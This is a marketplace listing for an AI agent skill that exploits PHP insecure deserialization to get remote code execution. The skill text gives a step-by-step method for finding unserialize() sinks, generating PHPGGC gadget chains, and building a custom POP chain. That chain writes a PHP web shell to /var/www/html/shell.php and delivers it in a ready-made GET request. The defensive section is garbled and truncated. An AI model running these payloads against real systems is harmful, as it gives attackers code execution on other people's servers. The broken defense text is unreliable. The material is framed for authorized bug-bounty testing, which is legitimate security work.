agentsclimarketplace

Php deserialization rce

Skill ShulkwiSEC/bb-huge/skills/curated/php-deserialization-rce

Exploit PHP object serialization vulnerabilities (Insecure Deserialization). This skill details how to identify unserialize() injection points and construct malicious serialized objects using Property Oriented Programming (POP) chains to achieve Remote Code Execution (RCE).From its SKILL.md

Install
npx -y skills add ShulkwiSEC/bb-huge --skill php-deserialization-rce

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its file declares

Copied from the file, not written here

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

5.1 KB, ~1.1k tokens by cl100k_base, as published. Nobody here has run it

PHP Deserialization to RCE

When to Use

  • During a web application assessment where user-supplied input is passed to PHP's unserialize() function.
  • Often found in base64-encoded or URL-encoded cookies, hidden form fields, or API endpoints handling legacy architecture.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Sink

Look for patterns indicating serialized PHP objects Prefixes like O:4:"User":2:{...}

  • Search source code for unserialize($_GET['data']) or unserialize(base64_decode($_COOKIE['session']))
// Vulnerable Code Example $input = $_GET['payload'];
$obj = unserialize($input); // DANGER

Phase 2: Utilizing PHPGGC (PHP Generic Gadget Chains)

If the target is using known frameworks/libraries (e.g., Laravel, Symfony, Monolog, SwiftMailer), you can generate a POP chain payload automatically.

# phpggc -l # List available gadget chains

# Generate a payload for Laravel/RCE1 to execute 'id' phpggc Laravel/RCE1 system 'id' --base64

Phase 3: Writing a Custom Gadget Chain

If standard framework gadgets aren't available, you must review the source code for class definitions containing "Magic Methods" (e.g., __wakeup(), __destruct(), __toString()).

# class Logger {
    public $logFile;
    public $initMsg;

    public function __destruct() {
        file_put_contents($this->logFile, $this->initMsg);
    }
}

// Crafting the payload $payload = new Logger();
$payload->logFile = "/var/www/html/shell.php";
$payload->initMsg = "<?php system($_GET['cmd']); ?>";
echo serialize($payload);
// Output: O:6:"Logger":2:{s:7:"logFile";s:23:"/var/www/html/shell.php";s:7:"initMsg";s:30:"<?php system($_GET['cmd']); ?>";}

Phase 4: Executing the Attack

Submit the serialized payload (URL-encoded or Base64-encoded if necessary) to the vulnerable endpoint.

# GET /vulnerable.php?payload=O:6:"Logger":2:{s:7:"logFile";s:23:"/var/www/html/shell.php";s:7:"initMsg";s:30:"<?php system($_GET['cmd']); ?>";} HTTP/1.1
Host: target.app

Access shell.php?cmd=id.

Decision Point 🔀

flowchart TD
    A[Identify unserialize() Sink ] --> B{Dependencies Known? ]}
    B -->|Yes| C[Generate PHPGGC Payload ]
    B -->|No| D[Audit Source for Magic Methods ]
    C --> E[Inject and Execute ]
    D --> E

🔵 Blue Team Detection & Defense

  • Avoid unserialize() on untrusted data: Use JSON Encoding: WAF Rules against Gadget Payloads: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Php Deserialization Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

What ships with it: 2 files

8.3 KB alongside SKILL.md, 1 of them executable

evals/

scripts/

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.